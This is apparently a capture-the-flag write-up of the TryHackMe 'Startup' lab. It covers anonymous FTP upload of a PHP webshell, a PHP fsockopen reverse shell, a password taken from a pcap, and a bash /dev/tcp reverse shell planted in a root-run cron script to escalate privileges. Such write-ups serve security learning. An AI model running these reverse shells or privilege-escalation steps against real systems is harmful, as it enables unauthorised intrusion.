TryHackMe | Startup

Hello all, It’s been a while since I posted, I’ve been hanging out on Portswigger and learning stuff. I’ve been lazy but I’ve been documenting what I do on my gitlab. If you’re interested, check out my GitLab.


We are Spice Hut, a new startup company that just made it big! We offer a variety of spices and club sandwiches (in case you get hungry), but that is not why you are here. To be truthful, we aren’t sure if our developers know what they are doing and our security concerns are rising. We ask that you perform a thorough penetration test and try to own root. Good luck!


  • Identify secret spicy soup recipe


  • FTP and HTTP linked and unfiltered upload



21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Let’s check out the website first.
No interesting comments and no robots.txt
Let’s run nikto and ffuf on the site.


In the mean time we can try to login into FTP with anonymous login.


And we can login into it, let’s see what files we have.

drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 2020 .test.log
-rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt

notice.txt doesn’t seem to interesting, checking out the ftp file it’s empty, and important.jpg is just a pic of Among us, but since it’s a jpg and named important, it might be important. Also a log file is very good stuff for us.


And checking out our results on ffuf.
There is only 1 directory available to us which is /files
Let’s check that out.


And it looks similar to the directory in the FTP session, so my guess is that if we upload stuff from FTP, it’ll show up in the browser.

To test our concept let’s upload a reverse shell in the ftp folder.

$ put shell.php

After that let’s check out the file directory in the website, and sure enough our shell.php is there, but it doesn’t work. Let’s upload a webshell so that we can have command execution.

I’m using a webshell from drag0s

So let’s upload that webshell in the ftp server and navigate to the files.

$ put webshell.php

Checking it out and it works! To prove our concept we can try to ping our box and we’ll get a ping back.

Now let’s insert some malicious payloads to execute.

php -r '$sock=fsockopen("",9001);exec("sh <&3 >&3 2>&3");'

And we’re in.


Now we’re user www-data, let’s see around.
There’s a directory called incidents which isn’t a normal linux folder, let’s check it out

$ ls

Looks like it’s a pcap file. Let’s check that out. Looks like there was another attack here before us, he also did the same as us.
But what unusual thing he’s doing is that he’s entering a password www-data? Usually www-data doesn’t have a password or sudo privileges or even a shell.

www-data@startup:/home$ sudo -lsudo -l[sudo] password for www-data: c4ntg3t3n0ughsp1c3Sorry, try again.[sudo] password for www-data:Sorry, try again.[sudo] password for www-data: c4ntg3t3n0ughsp1c3

Let’s try this password with the home user.

$ su lennie

And it works! And we’ll find user.txt in the home directory and the spicy soup recipe is in the / directory.
Now we just need to escalate to root.
There is a scripts folder though in our home, let’s check that out.

-rwxr-xr-x 1 root root 77 Nov 12  2020

No write permissions so let’s just see what it does.

echo $LIST > /home/lennie/scripts/startup_list.txt

So it echos $LIST and calls
Let’s check out /etc/ now.

-rwx------ 1 lennie lennie 67 Aug  2 12:20 /etc/

We own that file and we can write to it, sweet.
Let’s just put a reverse shell to see what happens.

sh -i >& /dev/tcp/ 0>&1

Now let’s run and see what happens.
Fortunately, we get a shell back, but bad news is that it’s still user lennie.

But it’s a bit weird since is owned by root so he probably runs it at some point, but checking out linpeas output it doesn’t show it as a crontab. Let’s check spy on process using pspy64.
After a minute or two, I stand corrected!

2021/08/02 12:48:01 CMD: UID=0    PID=20229  | /bin/bash /home/lennie/scripts/ 
2021/08/02 12:48:01 CMD: UID=0 PID=20228 | /bin/bash /home/lennie/scripts/
2021/08/02 12:48:01 CMD: UID=0 PID=20227 | /bin/sh -c /home/lennie/scripts/
2021/08/02 12:48:01 CMD: UID=0 PID=20226 | /usr/sbin/CRON -f
2021/08/02 12:48:01 CMD: UID=0 PID=20230 | /bin/bash /etc/

UID 0 refers to root and it is being ran! So let’s just listen onto the port.

And we got root!
Now let’s grab that root.txt!

Student that loves FOSS